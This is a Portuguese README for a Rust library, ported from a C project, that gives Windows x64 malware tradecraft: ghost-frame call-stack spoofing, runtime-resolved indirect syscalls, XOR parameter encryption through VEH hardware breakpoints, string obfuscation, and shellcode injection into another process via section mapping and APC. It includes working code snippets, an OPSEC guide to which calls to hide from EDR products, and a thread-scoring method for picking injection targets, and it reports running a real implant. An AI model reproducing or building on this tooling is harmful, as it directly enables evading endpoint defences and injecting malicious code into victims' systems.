lacuna-rs

Ghost-frame spoofing de pilha de chamadas + syscalls indiretos em tempo de execução para Windows x64 — portado para Rust.

Portado de LACUNA Chain (lacuna_chain.c) por Mohamed Alzhrani (0xmaz).

lacuna-rs é uma crate Rust reutilizável que fornece as mesmas primitivas do TTP C original, estruturada para poder ser integrada em qualquer projeto Rust — como wsyscall-rs ou syscalls-rs, mas com resolução de SSN em tempo de execução, direcionamento syscall;ret por função, e spoofing de pilha ghost-frame.

Crítico: Requisito de Frame-Pointer

A funcionalidade stack-spoof falhará silenciosamente se a crate consumidora não for compilada com frame pointers.

As primitivas de stack-stomping em chain.rs localizam o slot de endereço de retorno do chamador via assembly inline mov rbp, {x}. Isso requer que a cadeia RBP esteja intacta. Rust (e a maioria dos compiladores em modo release) omite frame pointers por padrão.

build.rs define force-frame-pointers=yes para a geração de código desta crate, mas o Cargo não pode propagar flags de compilador para crates downstream. Você deve adicionar isso ao seu próprio projeto:

# .cargo/config.toml  (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Sem isso, stomp_plant() lerá lixo do RBP e ou não fará nada (melhor caso) ou corromperá a pilha (pior caso). A crate não tem como detectar em tempo de execução se frame pointers estão habilitados — ela simplesmente não funcionará.

Se você precisa apenas das primitivas de scan, resolução de SSN ou injeção (sem stack spoofing), você pode omitir a funcionalidade stack-spoof e este requisito não se aplica.

O que faz

Flags de funcionalidade

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

Quando nenhuma funcionalidade está habilitada, apenas as camadas de scan/PE/NT estão disponíveis.

Início rápido

Scan por regiões fantasma

cargo run --example scan

Construir + verificar a cadeia ghost-frame

cargo run --example verify --features stack-spoof

Injetar shellcode via seção + APC

Exemplo de injeção com implante real - C2 estava offline, mas o Shellcode foi executado

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Adicione --verbose para habilitar a saída de diagnóstico VEH (dumps de pilha, impressões de registradores):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Algoritmo de pontuação de threads

Em vez de enfileirar APCs para cada thread no processo alvo (o que pode causar crash quando muitas threads são alertadas simultaneamente), inject_sapc usa um algoritmo de pontuação para selecionar os melhores MAX_APC_THREADS (5) candidatos:

• Tempo de ciclo — NtQueryInformationThread(ThreadCycleTime) — indicador primário de atividade
• Tempo de CPU — NtQueryInformationThread(ThreadTimes) — tempo de kernel + usuário
• Contagem de suspensão — NtQueryInformationThread(ThreadSuspendCount) — threads não suspensas recebem bônus de +300; threads suspensas recebem -150 por contagem de suspensão
• Prioridade — NtQueryInformationThread(ThreadBasicInformation) — threads com prioridade 8-10 recebem bônus de +150; prioridades fora do intervalo recebem penalidade de -100

Threads completamente ociosas (zero ciclos e zero tempo de CPU) são ignoradas totalmente. Os candidatos restantes são ordenados por pontuação (maior primeiro, desempate por ciclos) e truncados para os 5 melhores.

Usando como biblioteca

Básico: scan + resolução de SSN

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);

// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Emitir um stub de syscall indireto para qualquer API NT

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");

// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Construir a cadeia ghost-frame + registrar VEH

// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();

// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");

// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);

Encapsular um syscall sensível com stack spoof + criptografia de parâmetros

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();

// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };

// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC: O que esconder atrás de ghost frames

Nem toda chamada de API precisa do tratamento LACUNA completo. O princípio chave é: esconda as chamadas que um EDR correlacionaria como atividade de injeção ou pós-exploração.

Devem estar atrás de syscalls indiretos + ghost frames + criptografia de parâmetros

Estes são os syscalls NT "joia da coroa" que EDRs hookam e correlacionam:

Para cada um destes:

1. Resolva com nt::resolve(ntdll, b"NtXxx\0")
2. Emita um stub com stub::make_stub(ssn, syscall_ret)
3. Criptografe parâmetros sensíveis com XOR usando veh::pcrypt_arm(key, syscall_ret, true)
4. Encapsule a chamada entre chain::stomp_plant() e chain::stomp_restore()

Podem ser diretas (sem ghost frames necessários)

Princípios chave

1. Resolva qualquer syscall NT com nt::resolve(ntdll, b"NtXxx\0") -- retorna (SSN, syscall_ret_VA).
2. Emita um stub JIT com stub::make_stub(ssn, syscall_ret) -- retorna um ponteiro de função chamável.
3. Faça cast do stub para o tipo extern "system" fn(...) apropriado via core::mem::transmute.
4. (Apenas para chamadas sensíveis) Construa a cadeia ghost-frame com chain::build_chain() e chame chain::stomp_plant() / chain::stomp_restore() em torno da chamada.
5. (Apenas para chamadas sensíveis) Arme a criptografia de parâmetros com veh::pcrypt_arm(key, syscall_ret, true) antes da chamada, e veh::pcrypt_disarm() depois.
6. Sempre desarme o VEH antes de fazer chamadas não protegidas -- um acidente DR0 em um syscall desarmado causará crash.
7. Todas as strings de saída devem ser envolvidas em -- a crate impõe isso, e os diagnósticos VEH são controlados por que padrão é desligado.

O stub lida automaticamente com a sequência mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Se um ghost gadget foi registrado, o stub roteia através de JMP [RBX] para redirecionamento de execução de uso duplo + quadro de ponte sem artefatos.

Verificação de Cobertura do Writeup

Todas as 9 contribuições principais do writeup do LACUNA Chain estão representadas no código:

Cobertura da superfície de detecção

Por que não usar apenas syscalls-rs?

syscalls-rs e wsyscall-rs geram uma tabela de SSN em tempo de compilação a partir do ntdll de uma build específica do Windows. Se a máquina alvo executa uma build diferente, os SSNs estão errados e os syscalls falham (ou acionam heurísticas de EDR).

lacuna-rs resolve SSNs em tempo de execução lendo os stubs do ntdll diretamente, e direciona a própria instrução syscall;ret da função para que RIP esteja dentro do ntdll na entrada do kernel -- derrotando as heurísticas de "SSN mismatch" e "syscall indireto de memória não respaldada" do EDR.

Além disso, lacuna-rs fornece a cadeia de spoofing de pilha ghost-frame que syscalls-rs não tem.

Requisitos de build

• Alvo: x86_64-pc-windows-msvc (ou x86_64-pc-windows-gnu)
• Edição Rust: 2021
• Dependências: litcrypt2 (ofuscação de strings em tempo de compilação)

Configuração de frame-pointer (apenas para stack-spoof)

A funcionalidade stack-spoof requer frame pointers. build.rs define force-frame-pointers=yes automaticamente para esta crate, mas crates consumidoras também devem defini-lo em seu .cargo/config.toml:

# .cargo/config.toml (in the consuming crate)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Ofuscação de strings litcrypt2

Todos os literais de string na crate e exemplos são envolvidos em macros lc!(), que os criptografam em tempo de compilação e descriptografam em tempo de execução. A chave de criptografia é lida da variável de ambiente LITCRYPT_ENCRYPT_KEY; se não definida, litcrypt2 gera automaticamente uma chave aleatória.

Para fixar uma chave para builds reproduzíveis:

set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build

Arquitetura

lacuna-rs/
├── Cargo.toml
├── build.rs              # Sets force-frame-pointers for stack-spoof
├── src/
│   ├── lib.rs            # Crate root + re-exports + scan_all() + litcrypt2 setup
│   ├── win.rs            # Win32/NT FFI bindings (no_std-compatible)
│   ├── pe.rs             # PE section + export parsing
│   ├── scan.rs           # .pdata ghost-region + gadget scanning
│   ├── nt.rs             # SSN resolution + syscall;ret targeting
│   ├── stub.rs           # JIT indirect-syscall stub emission
│   ├── veh.rs            # VEH + hardware-breakpoint param encryption
│   ├── chain.rs          # LACUNA ghost-frame chain + stomp
│   └── inject.rs         # Section-based APC injection
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + windows-msvc target

Créditos

• Pesquisa original e implementação em C: Mohamed Alzhrani (0xmaz) -- LACUNA Chain
• Técnica: Ghost Frames: Forjando Pilhas de Chamadas Plausíveis a partir de Lacunas .pdata
• Lógica de Encontrar Melhor Thread APC: Adaptado de FrankensteinAPCInjection por S12cybersecurity
• Ofuscação de strings: litcrypt2 v0.1.3

Divulgação Completa

Este projeto foi ativamente assistido por um Chatbot de IA. Tive a chance de testar um modelo Open Source mais novo e muito capaz (GLM-5.2 por Z.ai (Zhipu AI)) e queria dar a ele uma tarefa desafiadora. Lições aprendidas: Funcionou bem se o humano sabe como os resultados devem ser. Se não... apenas lixo.

Licença

MIT